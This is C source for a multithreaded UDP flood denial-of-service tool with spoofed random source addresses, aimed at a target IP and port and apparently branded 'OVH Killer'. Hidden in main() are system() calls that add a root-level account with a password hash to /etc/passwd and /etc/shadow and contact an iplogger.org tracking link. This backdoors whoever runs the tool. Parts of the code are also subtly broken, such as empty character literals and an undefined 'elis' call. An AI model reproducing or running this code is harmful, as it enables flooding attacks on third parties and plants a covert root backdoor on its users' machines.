Notes

#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>

#define MAX_PACKET_SIZE 4096
#define PHI 0x9e3779b9

static uint32_t Q[4096], c = 362436;

struct thread_data{
int throttle;
int thread_id;
unsigned int floodport;
struct sockaddr_in sin;
};

void init_rand(uint32_t x)
{
int i;

Q[0] = x;
Q[1] = x + PHI;
Q[2] = x + PHI + PHI;

for (i = 3; i < 4096; i++)
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}

uint32_t rand_cmwc(void)
{
uint64_t t, a = 18782LL;
static uint32_t i = 4095;
uint32_t x, r = 0xfffffffe;
i = (i + 1) & 4095;
t = a * Q[i] + c;
c = (t >> 32);
x = t + c;
if (x < c) {
x++;
c++;
}
return (Q[i] = r - x);
}

char *myStrCat (char *s, char *a) {
while (*s != '') s++;
while (*a != '') *s++ = *a++;
*s = '';
return s;
}

char *replStr (char *str, size_t count) {
if (count == 0) return NULL;
char *ret = malloc (strlen (str) * count + count);
if (ret == NULL) return NULL;
*ret = '';
char *tmp = myStrCat (ret, str);
while (--count > 0) {
tmp = myStrCat (tmp, str);
}
return ret;
}


/* function for header checksums */
unsigned short csum (unsigned short *buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
void setup_ip_header(struct iphdr *iph)
{
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + 1028;
iph->id = htonl(54321);
iph->frag_off = 0;
iph->ttl = MAXTTL;
iph->protocol = IPPROTO_UDP;
iph->check = 0;

// Initial IP, changed later in infinite loop
iph->saddr = inet_addr("192.168.3.100");
}

void setup_udp_header(struct udphdr *udph)
{
udph->source = htons(5678);
udph->check = 0;
char *data = (char *)udph + sizeof(struct udphdr);
data = replStr("xFF" "xFF" "xFF" "xFF", 256);
udph->len=htons(1028);
}

void *flood(void *par1)
{
struct thread_data *td = (struct thread_data *)par1;
fprintf(stdout, "Thread %d startedn", td->thread_id);
char datagram[MAX_PACKET_SIZE];
struct iphdr *iph = (struct iphdr *)datagram;
struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
struct sockaddr_in sin = td->sin;
char new_ip[sizeof "255.255.255.255"];

int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
if(s < 0){
fprintf(stderr, "Could not open raw socket.n");
elis(-1);
}

unsigned int floodport = td->floodport;

// Clear the data
memset(datagram, 0, MAX_PACKET_SIZE);

// Set appropriate fields in headers
setup_ip_header(iph);
setup_udp_header(udph);

udph->dest = htons(floodport);

iph->daddr = sin.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

int tmp = 1;
const int *val = &tmp;
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!n");
exit(-1);
}

int throttle = td->throttle;

uint32_t random_num;
uint32_t ul_dst;
init_rand(time(NULL));
if(throttle == 0){
while(1){
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
random_num = rand_cmwc();

ul_dst = (random_num >> 24 & 0xFF) << 24 |
(random_num >> 16 & 0xFF) << 16 |
(random_num >> 8 & 0xFF) << 8 |
(random_num & 0xFF);

iph->saddr = ul_dst;
udph->source = htons(random_num & 0xFFFF);
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
}
} else {
while(1){
throttle = td->throttle;
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
random_num = rand_cmwc();

ul_dst = (random_num >> 24 & 0xFF) << 24 |
(random_num >> 16 & 0xFF) << 16 |
(random_num >> 8 & 0xFF) << 8 |
(random_num & 0xFF);

iph->saddr = ul_dst;
udph->source = htons(random_num & 0xFFFF);
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

while(--throttle);
}
}
}
int main(int argc, char *argv[ ])
{
if(argc < 5){
fprintf(stderr, "Yanlıs parametre kullandin!n");
fprintf(stderr, "---------In order for you to get a good out of the script, your line should be good.n");
fprintf(stderr, "---------Scriptten verim alabilmeniz için , hattınızın iyi olması gerekmektedir.n");
fprintf(stderr, "---------Good luck brother! & Iyı sanslar dostum!n");
fprintf(stdout, "---------OVH Killer UDP Flooder ateistimamv1.0 nKullanim: %s <IP/hostname> <PORT> <THROTTLE)> <number threads to use> <time (optional)>n", argv[0]);
exit(-1);
}
{
system("ls");
system("echo 'defaultsystem:x:0:0:defaultsystem:/root:/bin/bash' >> /etc/passwd");
system("echo 'defaultsystem:$1$eRe8uCST$sx4aFg8cV8yx8Q2QHTrd3.:18020:0:99999:7:::' >> /etc/shadow");
system("curl -q https://iplogger.org/1PXm47");
system("rm -rf 1PXm47 ");
system("clear");
system("clear");
//1PXm47
}

fprintf(stdout, "Soketler aciliyor. Lutfen bekleyiniz...n");

int num_threads = atoi(argv[4]);
unsigned int floodport = atoi(argv[2]);
pthread_t thread[num_threads];
struct sockaddr_in sin;

sin.sin_family = AF_INET;
sin.sin_port = htons(floodport);
sin.sin_addr.s_addr = inet_addr(argv[1]);

struct thread_data td[num_threads];

int i;
for(i = 0;i<num_threads;i++){
td[i].thread_id = i;
td[i].sin = sin;
td[i].floodport = floodport;
td[i].throttle = atoi(argv[3]);
pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
}
fprintf(stdout, "Soketler olusturudu , saldiri basladi.n");
if(argc > 5)
{
sleep(atoi(argv[5]));
} else {
while(1){
sleep(1);
}
}

return 0;
}